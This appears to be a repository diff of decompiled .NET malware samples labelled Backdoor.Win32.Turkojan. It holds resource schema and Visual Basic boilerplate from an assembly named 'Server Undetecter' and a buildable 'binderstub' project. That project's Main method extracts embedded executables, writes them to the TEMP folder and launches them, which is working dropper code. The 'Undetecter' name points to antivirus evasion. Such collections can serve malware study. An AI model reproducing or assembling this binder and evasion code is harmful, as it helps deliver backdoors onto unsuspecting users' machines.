: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.My.MyApplication
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server_Undetecter.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.My.MyComputer
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Server_Undetecter.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.My.MyProject
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server_Undetecter.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
public Form2 m_Form2;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
public Form2 Form2
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form2 = MyProject.MyForms.Create__Instance__<Form2>(this.m_Form2);
|
||||
return this.m_Form2;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form2)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form2>(ref this.m_Form2);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.My.MySettings
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Server_Undetecter.My
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.My.MySettingsProperty
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Server_Undetecter.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server_Undetecter.My.Resources.Resources
|
||||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Server_Undetecter.My.Resources
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Server_Undetecter.My.Resources.Resources.resourceMan, (object) null))
|
||||
Server_Undetecter.My.Resources.Resources.resourceMan = new ResourceManager("Server_Undetecter.Resources", typeof (Server_Undetecter.My.Resources.Resources).Assembly);
|
||||
return Server_Undetecter.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Server_Undetecter.My.Resources.Resources.resourceCulture;
|
||||
set => Server_Undetecter.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static Bitmap Whack_20MS_20Access => (Bitmap) RuntimeHelpers.GetObjectValue(Server_Undetecter.My.Resources.Resources.ResourceManager.GetObject("Whack%20MS%20Access", Server_Undetecter.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
+123
File diff suppressed because one or more lines are too long
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{3083829A-D539-47B6-9F92-592FD41698A9}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>dsdfggdfgd</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>binderstub</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="ix.exe" />
|
||||
<EmbeddedResource Include="ix1.exe" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dsdfggdfgd", "Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf.csproj", "{3083829A-D539-47B6-9F92-592FD41698A9}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3083829A-D539-47B6-9F92-592FD41698A9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{3083829A-D539-47B6-9F92-592FD41698A9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{3083829A-D539-47B6-9F92-592FD41698A9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{3083829A-D539-47B6-9F92-592FD41698A9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: binderstub.Program
|
||||
// Assembly: dsdfggdfgd, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 774DF6EC-7CD7-472C-B5F5-E0E4A9820F8B
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Turkojan.zwh-f0049c93796fd4cb0a1aa182144a91d8f55ea869b6c1c47f48a047e89db918cf.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace binderstub
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
private static void Main()
|
||||
{
|
||||
string[] strArray = new string[2]{ "exe", "exe" };
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
|
||||
int index = 0;
|
||||
foreach (string name in manifestResourceNames)
|
||||
{
|
||||
if (name.IndexOf(".exe") != -1)
|
||||
{
|
||||
Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
|
||||
byte[] buffer = new byte[manifestResourceStream.Length];
|
||||
manifestResourceStream.Read(buffer, 0, buffer.Length);
|
||||
string str = Environment.GetEnvironmentVariable("TEMP") + "\\zalali" + index.ToString() + "." + strArray[index];
|
||||
FileStream fileStream = new FileStream(str, FileMode.Create);
|
||||
fileStream.Write(buffer, 0, buffer.Length);
|
||||
fileStream.Dispose();
|
||||
manifestResourceStream.Dispose();
|
||||
Process.Start(str);
|
||||
++index;
|
||||
}
|
||||
}
|
||||
Application.Exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
Reference in New Issue
Block a user